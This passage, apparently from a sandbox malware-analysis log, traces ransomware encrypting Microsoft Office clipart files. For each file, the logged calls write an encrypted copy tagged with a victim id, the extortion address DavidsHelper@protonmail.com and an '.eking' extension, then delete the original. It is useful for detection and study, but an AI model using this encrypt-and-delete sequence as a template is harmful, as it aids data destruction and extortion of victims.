dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0188.866] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x296f, lpOverlapped=0x0) returned 1 [0188.868] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2970, lpOverlapped=0x0) returned 1 [0188.870] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.870] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.870] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.870] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x296f, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x296f, lpOverlapped=0x0) returned 1 [0188.872] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.877] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.882] CloseHandle (hObject=0x1b8) returned 1 [0188.883] CloseHandle (hObject=0x1e8) returned 1 [0188.885] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0188.887] SetEvent (hEvent=0x174) returned 1 [0188.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.888] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15308) returned 1 [0188.888] CloseHandle (hObject=0x1e8) returned 1 [0188.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0188.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0188.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.889] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.889] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0188.890] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x3bcc, lpOverlapped=0x0) returned 1 [0188.893] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x3bd0, lpOverlapped=0x0) returned 1 [0188.894] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.895] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.895] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.895] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3bcc, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x3bcc, lpOverlapped=0x0) returned 1 [0188.898] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.903] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.905] CloseHandle (hObject=0x1e8) returned 1 [0188.906] CloseHandle (hObject=0x1b8) returned 1 [0188.910] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0188.912] SetEvent (hEvent=0x174) returned 1 [0188.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.913] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5315) returned 1 [0188.913] CloseHandle (hObject=0x1b8) returned 1 [0188.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0188.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0188.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.914] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.914] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0188.915] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x14c3, lpOverlapped=0x0) returned 1 [0188.917] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x14d0, lpOverlapped=0x0) returned 1 [0188.919] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.919] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.919] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.919] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x14c3, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x14c3, lpOverlapped=0x0) returned 1 [0188.928] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.932] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.934] CloseHandle (hObject=0x1b8) returned 1 [0188.935] CloseHandle (hObject=0x1e8) returned 1 [0188.936] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0188.937] SetEvent (hEvent=0x174) returned 1 [0188.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.938] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0188.938] CloseHandle (hObject=0x1e8) returned 1 [0188.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0188.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0188.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0188.939] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.939] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0188.941] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x135b, lpOverlapped=0x0) returned 1 [0188.944] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1360, lpOverlapped=0x0) returned 1 [0188.945] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.945] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.945] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.945] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x135b, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x135b, lpOverlapped=0x0) returned 1 [0188.948] FlushFileBuffers (hFile=0x1e8) returned 1 [0188.952] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.954] CloseHandle (hObject=0x1e8) returned 1 [0188.954] CloseHandle (hObject=0x1b8) returned 1 [0188.956] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0188.957] SetEvent (hEvent=0x174) returned 1 [0188.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.958] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5030) returned 1 [0188.958] CloseHandle (hObject=0x1b8) returned 1 [0188.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0188.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0188.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0188.966] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0188.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0188.967] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x13a6, lpOverlapped=0x0) returned 1 [0188.981] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x13b0, lpOverlapped=0x0) returned 1 [0188.983] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.983] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0188.983] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x13a6, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x13a6, lpOverlapped=0x0) returned 1 [0188.995] FlushFileBuffers (hFile=0x1b8) returned 1 [0188.999] FlushFileBuffers (hFile=0x1e8) returned 1 [0189.002] CloseHandle (hObject=0x1b8) returned 1 [0189.003] CloseHandle (hObject=0x1e8) returned 1 [0189.004] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0189.006] SetEvent (hEvent=0x174) returned 1 [0189.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0189.007] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1146) returned 1 [0189.007] CloseHandle (hObject=0x1e8) returned 1 [0189.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0189.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0189.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0189.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0189.008] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0189.008] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0189.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0189.008] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x47a, lpOverlapped=0x0) returned 1 [0189.011] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x480, lpOverlapped=0x0) returned 1 [0189.012] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0189.012] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0189.012] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0189.012] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x47a, lpOverlapped=0x0) returned 1 [0189.025] FlushFileBuffers (hFile=0x1e8) returned 1 [0189.438] FlushFileBuffers (hFile=0x1b8) returned 1 [0189.695] CloseHandle (hObject=0x1e8) returned 1 [0189.696] CloseHandle (hObject=0x1b8) returned 1 [0189.697] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0189.699] SetEvent (hEvent=0x174) returned 1 [0189.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0189.699] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7583) returned 1 [0189.699] CloseHandle (hObject=0x1b8) returned 1 [0189.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0189.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0189.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0189.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0189.700] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0189.700] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0189.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0189.702] ReadFile (in: 